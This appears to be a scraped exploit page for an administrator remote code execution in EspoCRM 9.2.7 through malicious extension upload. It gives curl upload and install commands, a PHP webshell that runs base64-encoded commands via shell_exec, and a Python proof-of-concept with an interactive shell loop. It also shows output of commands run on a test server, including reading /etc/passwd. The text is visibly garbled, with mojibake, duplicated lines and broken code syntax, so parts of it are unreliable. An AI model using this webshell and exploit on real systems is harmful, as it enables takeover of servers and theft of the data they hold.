Share
## https://sploitus.com/exploit?id=1072B59E-8DE1-5A27-B873-7DF23EA6C5E5
# EspoCRM 9.2.7 Administrator Remote Code Execution Vulnerability Analysis
## Note This is a cockamamie vulnerability, so it's public. Because he needs the administrator ใใใใใ
## Vulnerability Overview
| Attributes | Values |
|------|-----|
| **Vulnerability Name** | EspoCRM Admin Extension Upload RCE |
| **Impacted Version** | EspoCRM โ 2. Unzip to a temporary directory โ -> โ 3. Install the extension โ โ
โ (Base64 encoding) โ โ Verify manifest โ โ Execute PHP script โ
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ
โ
v
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ
โ 6. RCE complete! โ config->get('restrictedMode') && ! $this->user->isSuperAdmin()) {
throw new Forbidden();
}
if ($this->config->get('adminUpgradeDisabled')) {
throw new Forbidden("Disabled with 'adminUpgradeDisabled' parameter."); }
}
// Receive the uploaded ZIP data
$body = $request->getBodyContents();
$manager = new ExtensionManager($this->getContainer()); $id = $manager->upload($body); // Upload and decompress the ZIP data.
$id = $manager->upload($body); // Upload and decompress the data.
$manifest = $manager->getManifest();
return (object) [
'id' => $id, 'version' => $manifest(); return (object) [
'version' => $manifest['version'],
'name' => $manifest['name'],
'description' => $manifest['description'],
];
}
``
**Issue:** The contents of uploaded ZIP packages are not security-checked and can contain arbitrary PHP files.
#### 3.2 Uploaded data handling
**File:** `application/Espo/Core/Upgrades/Actions/Base/Upload.php`
```php
public function run(mixed $data): string
{
$processId = $this->createProcessId();
// ...
$packageArchivePath = $this->getPackagePath(true);
$contents = null;
if (!empty($data)) {
// Parse the Data URL in the format: data:application/octet-stream;base64, [, $contents] = explorer; $contents] = explorer; $contents] = explorer
[, $contents] = explode(',', $data); $contents = base64_decode($contents); if (!empty($data))
$contents = base64_decode($contents); // Base64 decoding
}
// Write the content directly to the file system
$res = $this->getFileManager()->putContents($packageArchivePath, $contents);
$this->unzipArchive(); // Unzip the ZIP file.
$this->isAcceptable(); // Validate the manifest.
// ...
return $processId; }
}
```
**Issue:** The unpacked file is not checked for content security.
#### 3.3 Installation Process Execution Script (RCE Core)
**File:** `application/Espo/Core/Upgrades/Actions/Base/Install.php`
``php
public function run(mixed $data): mixed
{
// ...
$this->stepInit($data);
$this->stepCopyBefore($data);
// Key: Execute the BeforeInstall.php script.
$this->stepBeforeInstallScript($data); // stepCopy($data); // copy the file to the system
$this->stepRebuild($data); // stepCopy($data); // Copy the file to the system.
// Execute the AfterInstall.php script
$this->stepAfterInstallScript($data); // stepFinalize($data).
// ...
}
``
#### 3.4 Script Execution Functions (RCE root cause)
**File:** `application/Espo/Core/Upgrades/Actions/Base.php` (lines 384-406)
``php
protected function runScript(string $type): void
{
$beforeInstallScript = $this->getScriptPath($type);
if (! $beforeInstallScript) {
return;
}
$scriptNames = $this->getParam('scriptNames');
$scriptName = $scriptNames[$type];
// ============================================
// Vulnerability core: directly include and execute user uploaded PHP files.
// ============================================
require_once($beforeInstallScript); // run($this->getContainer(), $this->scriptParams); // Execute the run() method.
} catch (Throwable $e) {
$this->throwErrorAndRemovePackage(exception: $e); }
}
}
``
**Root cause of vulnerability:**
- Line 395 `require_once($beforeInstallScript)` directly includes the user uploaded PHP file.
- No security checks are performed on the contents of the PHP file
- An attacker can place arbitrary malicious code in `BeforeInstall.php` or `AfterInstall.php`.
#### 3.5 File Replication (Persistence)
**File:** `application/Espo/Core/Upgrades/Actions/Base.php`
```php
protected function copyFiles(?string $type = null, string $dest = ''): bool
{
$filesPath = $this->getCopyFilesPath($type);
if ($filesPath) {
// Copy all files in the files/ directory to the system directory.
return $this->copy($filesPath, $dest, true);
}
return true; }
}
``
**Problem:** Any PHP files in the `files/` directory are copied to the `custom/` directory, including the malicious Webshell.
---
## Exploitation Steps
### Step 1: Constructing a malicious Extension package
**`*manifest.json:**
```json
{
"name": "Malicious Extension",
"version": "1.0.0",
"acceptableVersions": [">=7.0.0"],
"releaseDate": "2026-01-29",
"author": "Attacker", "description": "RCE Expression".
"description": "RCE Exploit"
}
``
**scripts/BeforeInstall.php (auto-executed during installation):**
``` php
getQueryParam('c');
if ($cmd) {
return ['output' => shell_exec(base64_decode($cmd) . ' 2>&1')];
}
return ['status' => 'ready']; }
}
}
``
### Step 2: Upload Extension
```bash
# Base64 encode the ZIP package and upload it using the Data URL format
curl -X POST "http://target/api/v1/Extension/action/upload" \ N
-H "Authorization: Basic " \\
-H "Content-Type: application/json" \\
-d '"data:application/octet-stream;base64,"'
# Sample response.
# {"id": "697b0f2b1e29b1448", "version": "1.0.0", "name": "Malicious Extension",...}
```
### Step 3: Install Extension (triggers RCE)
```bash
curl -X POST "http://target/api/v1/Extension/action/install" \
-H "Authorization: Basic " \\
-H "Content-Type: application/json" \\
-d '{"id": "697b0f2b1e29b1448"}'
# Response: true
# At this point the code in BeforeInstall.php has been executed!
รฐลธ "รฐลธ "รฐลธ "รฐลธ "รฐลธ "รฐลธ "รฑ
### Step 4: Using Webshell
```bash
# Commands require Base64 encoding
curl "http://target/api/v1/Shell/action/exec?c=$(echo -n 'id' | base64)" \
-H "Authorization: Basic "
# Response.
# {"output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"}
รฐลธ "รฐลธ "รฐลธ "รฐลธ "รฐลธ "รฐลธ "รฑ
---
## Actual validation results
### Test Environment
- **Target System:** EspoCRM 9.2.7
- **Operating System:** Debian GNU/Linux 13 (trixie)
- **Web Server:** Nginx + PHP-FPM
- **Tested on:** 2026-01-29
### Validated results
``
[*] Target: http://1.1.1.1
[*] Uploading Extension...
[+] Uploaded successfully: 697b1b5a52824127f
[*] Installing Extension...
[+] Installation successful!
[+] Webshell: http://1.1.1.1/api/v1/Sh/action/x?c=
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> uname -a
Linux 131b8ca2974c 6.8.0-90-generic #91-Ubuntu SMP ... x86_64 GNU/Linux
shell> cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
``
---
## POC tools
### Python utilization scripts
## Python utilizing scripts ##
/usr/bin/env python3 /usr/bin/env python3
import base64, io, json, sys, zipfile, requests
def create_extension(): manifest = {"name": "Extension")
manifest = {"name": "Ext", "version": "1.0.0", "acceptableVersions":[">=7.0.0"],
"releaseDate": "2026-01-01", "author": "x", "description": "x"}
webshell = '''getQueryParam('c');
return $c ? ['o' => shell_exec(base64_decode($c).' 2>&1')] : ['s' => 1]; }
}
}'''
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z.
z.writestr('manifest.json', json.dumps(manifest))
z.writestr('files/custom/Espo/Custom/Controllers/Sh.php', webshell)
return buf.getvalue()
def exploit(url, user, pwd).
url, auth, s = url.rstrip('/'), (user, pwd), requests.Session()
s.verify = False
# Upload
data = f "data:application/octet-stream;base64,{base64.b64encode(create_extension()).decode()}"
r = s.post(f"{url}/api/v1/Extension/action/upload", auth=auth,
headers={"Content-Type": "application/json"}, data=json.dumps(data))
ext_id = r.json().get('id')
# install
s.post(f"{url}/api/v1/Extension/action/install", auth=auth,
headers={"Content-Type": "application/json"}, json={"id":ext_id})
# Shell
shell_url = f"{url}/api/v1/Sh/action/x"
print(f"[+] Webshell: {shell_url}?c=")
while True: cmd = input("shell>")
cmd = input("shell> ").strip()
if cmd.lower() in ['exit','quit']: break
if cmd.
r = s.get(shell_url, auth=auth, params={"c":base64.b64encode(cmd.encode()).decode()})
print(r.json().get('o',''))
if __name__ == "__main__".
if len(sys.argv) ! = 4: if len(sys.argv) !
print(f "Usage: python3 {sys.argv[0]} ")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3])
``
### Usage
```bash
python3 exploit.py http://target admin password
``
---
---
## Disclaimer
This document is intended for security research and authorized testing purposes only. It is illegal to conduct unauthorized penetration testing of systems. Please ensure that you obtain proper authorization before conducting any security testing. The author is not liable for any damages resulting from misuse of this information.